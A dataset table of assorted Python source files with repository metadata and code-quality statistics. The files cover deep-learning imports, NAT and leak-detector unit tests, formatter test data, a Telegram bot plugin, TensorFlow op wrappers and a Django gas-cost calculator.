hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
16c987481eab892ef39426e2786a15d2dd718c07 | 85 | py | Python | models/modules/DeepPose.py | AndreaVargasAndia/Pytorch-Human-Pose-Estimation | c627f04fa40da82cf1b2e231b491162b0f69e041 | [
"MIT"
] | 423 | 2018-10-29T16:56:21.000Z | 2022-03-31T09:17:11.000Z | models/modules/DeepPose.py | AndreaVargasAndia/Pytorch-Human-Pose-Estimation | c627f04fa40da82cf1b2e231b491162b0f69e041 | [
"MIT"
] | 26 | 2019-02-21T08:38:36.000Z | 2022-01-05T16:53:52.000Z | models/modules/DeepPose.py | AndreaVargasAndia/Pytorch-Human-Pose-Estimation | c627f04fa40da82cf1b2e231b491162b0f69e041 | [
"MIT"
] | 83 | 2018-11-09T12:20:15.000Z | 2022-03-27T06:47:15.000Z | import torch
import torchvision
import torch.nn as nn
import torch.nn.functional as F | 21.25 | 31 | 0.835294 | 15 | 85 | 4.733333 | 0.466667 | 0.464789 | 0.366197 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129412 | 85 | 4 | 31 | 21.25 | 0.959459 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
bc4644db5f0feae3feed14240393c25a1b3f224e | 6,281 | py | Python | test/functions/decl4.py | Setonas/MagicSetonas | ef76da5f27a0506b194c58072b81424e3ce985d7 | [
"MIT"
] | 5 | 2017-02-22T10:17:39.000Z | 2021-04-06T16:36:13.000Z | test/functions/decl4.py | Setonas/MagicSetonas | ef76da5f27a0506b194c58072b81424e3ce985d7 | [
"MIT"
] | null | null | null | test/functions/decl4.py | Setonas/MagicSetonas | ef76da5f27a0506b194c58072b81424e3ce985d7 | [
"MIT"
] | 1 | 2020-08-29T02:30:52.000Z | 2020-08-29T02:30:52.000Z | # testing annotations split over multiple lines
apibrėžti some_func(a:
liambda x=Joks:
{key: val
dėl key, val iš
(x jei x is nebūtų Joks kitas [])
}=42):
# : comment.line.number-sign.python, punc... | 93.746269 | 200 | 0.714695 | 702 | 6,281 | 6.391738 | 0.082621 | 0.283486 | 0.385113 | 0.330733 | 0.920437 | 0.894584 | 0.8694 | 0.845108 | 0.845108 | 0.816136 | 0 | 0.000774 | 0.177042 | 6,281 | 66 | 201 | 95.166667 | 0.867286 | 0.023086 | 0 | 0.366667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
bc52fb23c1d154d0c604f28f46a9ea5ef3ec424c | 15,777 | py | Python | generators/simple/templates/src/platform/extensionRunner/cdf/document_config_definition.py | jfallaire/generator-ps-boilerplate-project | 36f544a54442c191430451715425da98ea76a63e | [
"MIT"
] | 2 | 2019-07-24T16:00:51.000Z | 2019-10-03T18:36:20.000Z | generators/simple/templates/src/platform/extensionRunner/cdf/document_config_definition.py | jfallaire/generator-ps-boilerplate-project | 36f544a54442c191430451715425da98ea76a63e | [
"MIT"
] | 19 | 2019-06-20T21:58:44.000Z | 2020-11-05T13:48:42.000Z | generators/simple/templates/src/platform/extensionRunner/cdf/document_config_definition.py | jfallaire/generator-ps-boilerplate-project | 36f544a54442c191430451715425da98ea76a63e | [
"MIT"
] | 1 | 2019-06-22T17:30:42.000Z | 2019-06-22T17:30:42.000Z | """
- THIS FILE IS GENERATED -
CoveoInterfaces/CoveoInterfaces/CoveoDocumentConfigDefinition.jid
"""
from attr import attrib, attrs
from enum import auto
from typing import Dict, List, Optional as Opt, Union
from .root import CASING, JidEnumFlag, JidType
from .script_store import ScriptPackage
@attrs(kw_only=T... | 32.132383 | 118 | 0.651264 | 1,845 | 15,777 | 5.35935 | 0.134417 | 0.046723 | 0.056634 | 0.03034 | 0.810275 | 0.805522 | 0.804409 | 0.786509 | 0.763754 | 0.745854 | 0 | 0.00698 | 0.237244 | 15,777 | 490 | 119 | 32.197959 | 0.814692 | 0.112442 | 0 | 0.397059 | 1 | 0 | 0.047455 | 0.023617 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.014706 | 0 | 0.514706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
bca5190a6dcb45fecafebba4e4c91ea6ddff9a66 | 60 | py | Python | n2j/models/__init__.py | jiwoncpark/ex-con | 6775d11ec1c3e7005890e58d16dd07b711861cdf | [
"MIT"
] | 1 | 2021-10-08T20:21:33.000Z | 2021-10-08T20:21:33.000Z | n2j/models/__init__.py | jiwoncpark/node-to-joy | 980dd6ad11971782221490c6e3267b43f242fff6 | [
"MIT"
] | 13 | 2021-03-10T11:46:42.000Z | 2021-08-23T19:36:08.000Z | n2j/models/__init__.py | jiwoncpark/exconvnet | 6775d11ec1c3e7005890e58d16dd07b711861cdf | [
"MIT"
] | 1 | 2020-02-27T20:39:02.000Z | 2020-02-27T20:39:02.000Z | from n2j.models.gnn import *
from n2j.models.n2jnet import * | 30 | 31 | 0.783333 | 10 | 60 | 4.7 | 0.6 | 0.297872 | 0.553191 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056604 | 0.116667 | 60 | 2 | 31 | 30 | 0.830189 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
bccf47430a74f622392ad180bd06e4cb76e1cd1e | 1,013 | py | Python | tests/data/trailing_comma_optional_parens3.py | 13Ducks/black | 505634aafed3eca404213a0e787cf8af6a5b0ff7 | [
"MIT"
] | null | null | null | tests/data/trailing_comma_optional_parens3.py | 13Ducks/black | 505634aafed3eca404213a0e787cf8af6a5b0ff7 | [
"MIT"
] | null | null | null | tests/data/trailing_comma_optional_parens3.py | 13Ducks/black | 505634aafed3eca404213a0e787cf8af6a5b0ff7 | [
"MIT"
] | null | null | null | if True:
if True:
if True:
return _(
"qweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweas "
+ "qweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqweasdzxcqwegqweasdzxcqweasdzxc.",
"qweasdzxcqweasdzxcq... | 42.208333 | 116 | 0.694965 | 37 | 1,013 | 18.756757 | 0.297297 | 0.051873 | 0.04611 | 0.069164 | 0.991354 | 0.991354 | 0.991354 | 0.991354 | 0.991354 | 0.991354 | 0 | 0 | 0.253702 | 1,013 | 24 | 117 | 42.208333 | 0.917989 | 0.005923 | 0 | 0.736842 | 0 | 0 | 0.588469 | 0.526839 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
4c112d3573edd3e6931e7a7da3b6813387209e40 | 152,561 | py | Python | test/test_nat44_ed.py | akanouras/vpp | a55a9fc239b5e47487a9489aa5dba9d229502d7e | [
"Apache-2.0"
] | 751 | 2017-07-13T06:16:46.000Z | 2022-03-30T09:14:35.000Z | test/test_nat44_ed.py | akanouras/vpp | a55a9fc239b5e47487a9489aa5dba9d229502d7e | [
"Apache-2.0"
] | 15 | 2018-03-19T15:20:07.000Z | 2022-03-18T19:48:21.000Z | test/test_nat44_ed.py | akanouras/vpp | a55a9fc239b5e47487a9489aa5dba9d229502d7e | [
"Apache-2.0"
] | 479 | 2017-07-13T06:17:26.000Z | 2022-03-31T18:20:43.000Z | #!/usr/bin/env python3
import unittest
from io import BytesIO
from random import randint, shuffle, choice
import scapy.compat
from framework import VppTestCase, VppTestRunner
from scapy.data import IP_PROTOS
from scapy.layers.inet import IP, TCP, UDP, ICMP, GRE
from scapy.layers.inet import IPerror, TCPerror
from sca... | 39.698413 | 79 | 0.5728 | 19,744 | 152,561 | 4.176357 | 0.03206 | 0.03506 | 0.026013 | 0.029724 | 0.856448 | 0.82334 | 0.79364 | 0.769798 | 0.749218 | 0.729086 | 0 | 0.034971 | 0.32505 | 152,561 | 3,842 | 80 | 39.708745 | 0.765818 | 0.047791 | 0 | 0.757297 | 0 | 0 | 0.031417 | 0.010249 | 0 | 0 | 0.000691 | 0 | 0.101206 | 1 | 0.027284 | false | 0 | 0.005076 | 0.001904 | 0.041244 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4c251fa72df00bc11c03cff7feed4e410bf14bb0 | 30 | py | Python | frontend/stock/stock_modify.py | Tasari/Restaurant_system | bc0127e0060c54c17abb7aa78800da7bd5bc12cb | [
"MIT"
] | null | null | null | frontend/stock/stock_modify.py | Tasari/Restaurant_system | bc0127e0060c54c17abb7aa78800da7bd5bc12cb | [
"MIT"
] | null | null | null | frontend/stock/stock_modify.py | Tasari/Restaurant_system | bc0127e0060c54c17abb7aa78800da7bd5bc12cb | [
"MIT"
] | null | null | null | def stock_modify():
return | 15 | 19 | 0.7 | 4 | 30 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 30 | 2 | 20 | 15 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
4c4797bc6acf3cdb4c896f0becfcb312dfa3df9c | 44,003 | py | Python | Tools/Scripts/webkitpy/port/leakdetector_valgrind_unittest.py | jacadcaps/webkitty | 9aebd2081349f9a7b5d168673c6f676a1450a66d | [
"BSD-2-Clause"
] | 6 | 2021-07-05T16:09:39.000Z | 2022-03-06T22:44:42.000Z | Tools/Scripts/webkitpy/port/leakdetector_valgrind_unittest.py | jacadcaps/webkitty | 9aebd2081349f9a7b5d168673c6f676a1450a66d | [
"BSD-2-Clause"
] | 7 | 2022-03-15T13:25:39.000Z | 2022-03-15T13:25:44.000Z | Tools/Scripts/webkitpy/port/leakdetector_valgrind_unittest.py | jacadcaps/webkitty | 9aebd2081349f9a7b5d168673c6f676a1450a66d | [
"BSD-2-Clause"
] | null | null | null | # Copyright (C) 2013 Samsung Electronics. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions ... | 51.707403 | 956 | 0.767084 | 4,769 | 44,003 | 6.856783 | 0.112602 | 0.020795 | 0.036391 | 0.062691 | 0.843884 | 0.802171 | 0.779174 | 0.767554 | 0.75633 | 0.746575 | 0 | 0.057929 | 0.09888 | 44,003 | 850 | 957 | 51.768235 | 0.766746 | 0.029453 | 0 | 0.738562 | 0 | 0.120261 | 0.922684 | 0.665854 | 0 | 0 | 0.008997 | 0 | 0.005229 | 1 | 0.014379 | false | 0.048366 | 0.007843 | 0.007843 | 0.033987 | 0.010458 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
4c4a8c3715e209395878d30c55cb512377cb6e24 | 15,161 | py | Python | dynamix/io/readdata.py | kif/dynamix | 163323ccb083bb069d88f3b51c0dfb3141f5fd37 | [
"MIT"
] | 3 | 2021-01-12T05:46:51.000Z | 2021-04-13T15:05:42.000Z | dynamix/io/readdata.py | kif/dynamix | 163323ccb083bb069d88f3b51c0dfb3141f5fd37 | [
"MIT"
] | 18 | 2019-08-23T08:42:36.000Z | 2021-09-13T15:14:38.000Z | dynamix/io/readdata.py | kif/dynamix | 163323ccb083bb069d88f3b51c0dfb3141f5fd37 | [
"MIT"
] | 6 | 2019-08-01T12:10:52.000Z | 2021-12-09T14:55:02.000Z | #! /usr/bin/env python3
# readdata
import numpy as np
import numba as nb
from dynamix.io import nfiles
import _pickle as cPickle
from dynamix.correlator.WXPCS import dropimgood, eigerpix
from multiprocessing import Process, Queue
from dynamix.io import EdfMethods
from sys import exit, stdout
import time
import h5py # ... | 32.326226 | 147 | 0.566783 | 2,042 | 15,161 | 4.157199 | 0.125367 | 0.016021 | 0.022971 | 0.025445 | 0.814819 | 0.791613 | 0.782189 | 0.766286 | 0.757097 | 0.749676 | 0 | 0.027044 | 0.270761 | 15,161 | 468 | 148 | 32.395299 | 0.740774 | 0.100983 | 0 | 0.763587 | 0 | 0 | 0.067134 | 0.003958 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038043 | false | 0.016304 | 0.032609 | 0 | 0.100543 | 0.089674 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d5b35c26d1380ae4ceef61cd7793dba035ae6dae | 3,243 | py | Python | Yukki/Plugins/broadcast.py | Guddu7866/YukkiMusic-Old | a6d04fb434d5302e187c11d41be5964914e9e329 | [
"MIT"
] | null | null | null | Yukki/Plugins/broadcast.py | Guddu7866/YukkiMusic-Old | a6d04fb434d5302e187c11d41be5964914e9e329 | [
"MIT"
] | null | null | null | Yukki/Plugins/broadcast.py | Guddu7866/YukkiMusic-Old | a6d04fb434d5302e187c11d41be5964914e9e329 | [
"MIT"
] | null | null | null | import asyncio
from Yukki import app, OWNER
from pyrogram import filters, Client
from pyrogram.types import Message
from Yukki.YukkiUtilities.database.chats import (get_served_chats, is_served_chat, add_served_chat, get_served_chats)
from ..YukkiUtilities.helpers.filters import command
@app.on_message(filters.command... | 32.108911 | 117 | 0.559359 | 399 | 3,243 | 4.433584 | 0.185464 | 0.067835 | 0.047484 | 0.067835 | 0.859808 | 0.845676 | 0.804975 | 0.759751 | 0.759751 | 0.759751 | 0 | 0.011236 | 0.341351 | 3,243 | 100 | 118 | 32.43 | 0.814139 | 0 | 0 | 0.833333 | 0 | 0 | 0.098057 | 0.013568 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.083333 | 0.0625 | 0 | 0.104167 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
d5b68e12d86c5819f398ad988b111bab20fead06 | 9,180 | py | Python | GRHD/tests/trusted_values_dict.py | kazewong/nrpytutorial | cc511325f37f01284b2b83584beb2a452556b3fb | [
"BSD-2-Clause"
] | null | null | null | GRHD/tests/trusted_values_dict.py | kazewong/nrpytutorial | cc511325f37f01284b2b83584beb2a452556b3fb | [
"BSD-2-Clause"
] | null | null | null | GRHD/tests/trusted_values_dict.py | kazewong/nrpytutorial | cc511325f37f01284b2b83584beb2a452556b3fb | [
"BSD-2-Clause"
] | null | null | null | from mpmath import mpf, mp, mpc
from UnitTesting.standard_constants import precision
mp.dps = precision
trusted_values_dict = {}
# Generated on: 2019-11-03
trusted_values_dict['GRHD__generate_everything_for_UnitTesting__globals'] = {'h': mpf('2.84243280229405600425249403342661'), 'T4UU[0][0]': mpf('-2.339454949007580... | 1,020 | 9,021 | 0.754466 | 1,135 | 9,180 | 5.931278 | 0.127753 | 0.161616 | 0.18063 | 0.033422 | 0.4847 | 0.424688 | 0.411913 | 0.099228 | 0 | 0 | 0 | 0.491995 | 0.033769 | 9,180 | 8 | 9,022 | 1,147.5 | 0.266967 | 0.002614 | 0 | 0 | 1 | 0 | 0.756609 | 0.660149 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 10 |
d5d3bce0d28b9aea737852fdb206cfa5c7834869 | 455 | py | Python | tests/data/format/capitalization_first_letter/class_docstring.py | DanielNoord/pydocstringformatter | a69302cee6bd32b9b5cc48912a47d0e8ad3f7abe | [
"MIT"
] | 4 | 2022-01-02T22:50:59.000Z | 2022-02-09T09:04:37.000Z | tests/data/format/capitalization_first_letter/class_docstring.py | DanielNoord/pydocstringformatter | a69302cee6bd32b9b5cc48912a47d0e8ad3f7abe | [
"MIT"
] | 80 | 2022-01-02T09:02:50.000Z | 2022-03-30T13:34:10.000Z | tests/data/format/capitalization_first_letter/class_docstring.py | DanielNoord/pydocstringformatter | a69302cee6bd32b9b5cc48912a47d0e8ad3f7abe | [
"MIT"
] | 2 | 2022-01-02T11:58:29.000Z | 2022-01-04T18:53:29.000Z | class MyClass:
"""a multi-line
docstring"""
class InnerClass:
"""
a multi-line
docstring"""
class MyClass:
"""a multi-line
docstring
"""
class InnerClass:
"""a multi-line
docstring
"""
class MyClass:
"""
a docstring"""
class ... | 12.638889 | 25 | 0.492308 | 40 | 455 | 5.6 | 0.175 | 0.4375 | 0.232143 | 0.339286 | 1 | 1 | 1 | 1 | 1 | 0.638393 | 0 | 0 | 0.375824 | 455 | 35 | 26 | 13 | 0.788732 | 0.305495 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 12 |
d5e3e4b097597b68a5c78724a6fed223e61545a9 | 22,228 | py | Python | Server/ChatBot/venv/Lib/site-packages/tensorflow/contrib/boosted_trees/python/ops/gen_split_handler_ops.py | sozuer53/BBC | 31bb128cb1e1a19db955fd673d67cf0e92bac3a4 | [
"Apache-2.0"
] | 3 | 2018-11-27T06:30:23.000Z | 2021-05-30T15:56:32.000Z | Server/ChatBot/venv/Lib/site-packages/tensorflow/contrib/boosted_trees/python/ops/gen_split_handler_ops.py | sozuer53/BBC | 31bb128cb1e1a19db955fd673d67cf0e92bac3a4 | [
"Apache-2.0"
] | 3 | 2020-09-26T01:09:47.000Z | 2022-02-10T02:12:08.000Z | Server/ChatBot/venv/Lib/site-packages/tensorflow/contrib/boosted_trees/python/ops/gen_split_handler_ops.py | sozuer53/BBC | 31bb128cb1e1a19db955fd673d67cf0e92bac3a4 | [
"Apache-2.0"
] | 6 | 2020-04-13T15:33:30.000Z | 2020-06-21T19:26:55.000Z | """Python wrappers around TensorFlow ops.
This file is MACHINE GENERATED! Do not edit.
"""
import collections as _collections
from tensorflow.python.eager import execute as _execute
from tensorflow.python.eager import context as _context
from tensorflow.python.eager import core as _core
from tensorflow.python.framew... | 43.669941 | 1,968 | 0.716619 | 2,797 | 22,228 | 5.315338 | 0.07508 | 0.036322 | 0.034102 | 0.048429 | 0.902132 | 0.865676 | 0.85942 | 0.854039 | 0.847447 | 0.839914 | 0 | 0.047519 | 0.183912 | 22,228 | 508 | 1,969 | 43.755906 | 0.772051 | 0.336018 | 0 | 0.713542 | 1 | 0.010417 | 0.227466 | 0.154799 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020833 | false | 0 | 0.057292 | 0 | 0.098958 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
d5eb735a01ea9b0c9c860412faeaf0d2690955b4 | 9,407 | py | Python | costcalculator/views.py | connor-c/Trip-Gas-Cost-Calculator | 6101093ffd48b6cb6c4f847b8c1f40351617750b | [
"MIT"
] | null | null | null | costcalculator/views.py | connor-c/Trip-Gas-Cost-Calculator | 6101093ffd48b6cb6c4f847b8c1f40351617750b | [
"MIT"
] | 8 | 2020-02-11T23:59:35.000Z | 2022-02-10T07:16:43.000Z | costcalculator/views.py | connor-c/Trip-Gas-Cost-Calculator | 6101093ffd48b6cb6c4f847b8c1f40351617750b | [
"MIT"
] | null | null | null | from django.shortcuts import render, redirect
from costcalculator.forms import *
from .distance import get_distance
def index(request):
if request.method == 'POST':
origin = OriginForm(request.POST)
destination = DestinationForm(request.POST)
gas_price = GasPriceForm(request.POST)
m... | 52.553073 | 126 | 0.524928 | 854 | 9,407 | 5.526932 | 0.0726 | 0.095339 | 0.029661 | 0.033898 | 0.822881 | 0.819915 | 0.795763 | 0.795763 | 0.78178 | 0.78178 | 0 | 0.001695 | 0.372914 | 9,407 | 178 | 127 | 52.848315 | 0.79844 | 0 | 0 | 0.771812 | 0 | 0 | 0.144042 | 0.025194 | 0 | 0 | 0 | 0 | 0 | 1 | 0.026846 | false | 0 | 0.020134 | 0 | 0.100671 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9134ea1591aaa49ad44f171a6aa4e29f6c124f0c | 41,836 | py | Python | experiment_1_5(Geolife_pert_2).py | MeetSiddhartha/spatialPatternLocationPert | 96d3afbdeb9630ccdb9bddc199d9bcaceaf42b61 | [
"Apache-2.0"
] | 4 | 2020-09-14T13:36:58.000Z | 2022-02-20T12:29:35.000Z | experiment_1_5(Geolife_pert_2).py | MeetSiddhartha/spatialPatternLocationPert | 96d3afbdeb9630ccdb9bddc199d9bcaceaf42b61 | [
"Apache-2.0"
] | 1 | 2021-05-21T02:25:34.000Z | 2021-05-21T02:26:05.000Z | experiment_1_5(Geolife_pert_2).py | MeetSiddhartha/spatialPatternLocationPert | 96d3afbdeb9630ccdb9bddc199d9bcaceaf42b61 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import time
import matplotlib.pyplot as plt
import seaborn as sns
import random
import perturbation_tool
from scipy.stats import wasserstein_distance
def main ():
JS_multiTimes_Laplace = []
JS_multiTimes_distPreserving = []
dimension = 100
round_number = 2
